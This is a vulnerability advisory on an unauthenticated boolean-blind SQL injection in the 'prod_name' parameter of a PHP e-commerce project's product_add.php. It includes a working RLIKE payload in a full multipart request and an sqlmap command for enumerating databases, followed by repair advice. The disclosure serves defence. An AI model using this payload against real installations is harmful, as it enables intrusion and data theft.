# E-Commerce Website Project V1.0 product_add.php SQL injection # NAME OF AFFECTED PRODUCT(S) - E-Commerce Website ## Vendor Homepage - [E-Commerce Website In PHP With Source Code - Source Code & Projects](https://code-projects.org/e-commerce-website-in-php-with-source-code/) # AFFECTED AND/OR FIXED VERSION(S) ## submitter - Huang HaiCheng, Li Shudong at Guangzhou University ## VERSION(S) - V1.0 ## Software Link - [E-Commerce Website In PHP With Source Code - Source Code & Projects](https://code-projects.org/e-commerce-website-in-php-with-source-code/) # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the 'product_add.php' file of the 'E-Commerce Website' project. The reason for this issue is that attackers inject malicious code from the parameter "prod_name" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "E-Commerce Website", discovered a critical SQL injection vulnerability in the "product_add.php" file. This vulnerability stems from insufficient user input validation of the 'prod_name' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: - boolean-based blind ## Vulnerability location: - 'prod_name' parameter ## Payload: ``` Parameter: MULTIPART #1* ((custom) POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_name" 1' RLIKE (SELECT (CASE WHEN (4593=4593) THEN 1 ELSE 0x28 END)) AND 'UIPq'='UIPq ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_desc" Test Description ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_cost" 100.00 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_price" 150.00 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_qty" 10 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="supplier" Test Supplier ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="category" Test Category ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_serial" TEST123456 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_pic1"; filename="test1.jpg" Content-Type: image/jpeg 1 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_pic2"; filename="test2.jpg" Content-Type: image/jpeg 1 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_pic3"; filename="test3.jpg" Content-Type: image/jpeg 1 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="submit" 1 ------WebKitFormBoundary7MA4YWxkTrZu0gW-- Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END)) ``` ![image-20250914165600008](assets/image-20250914165600008.png) ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ``` python sqlmap.py -r data.txt --dbs -v 3 --batch --level 5 //data.txt POST /Electricks-shop/pages/product_add.php HTTP/1.1 Host: 10.151.167.210:8887 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=860bf9sue3vca48n2eir3ln4j7 Connection: keep-alive Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 1234 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_name" 1* ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_desc" Test Description ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_cost" 100.00 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_price" 150.00 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_qty" 10 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="supplier" Test Supplier ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="category" Test Category ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_serial" TEST123456 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_pic1"; filename="test1.jpg" Content-Type: image/jpeg 1 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_pic2"; filename="test2.jpg" Content-Type: image/jpeg 1 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="prod_pic3"; filename="test3.jpg" Content-Type: image/jpeg 1 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="submit" 1 ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` # Attack results ![image-20250914165634796](assets/image-20250914165634796.png) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.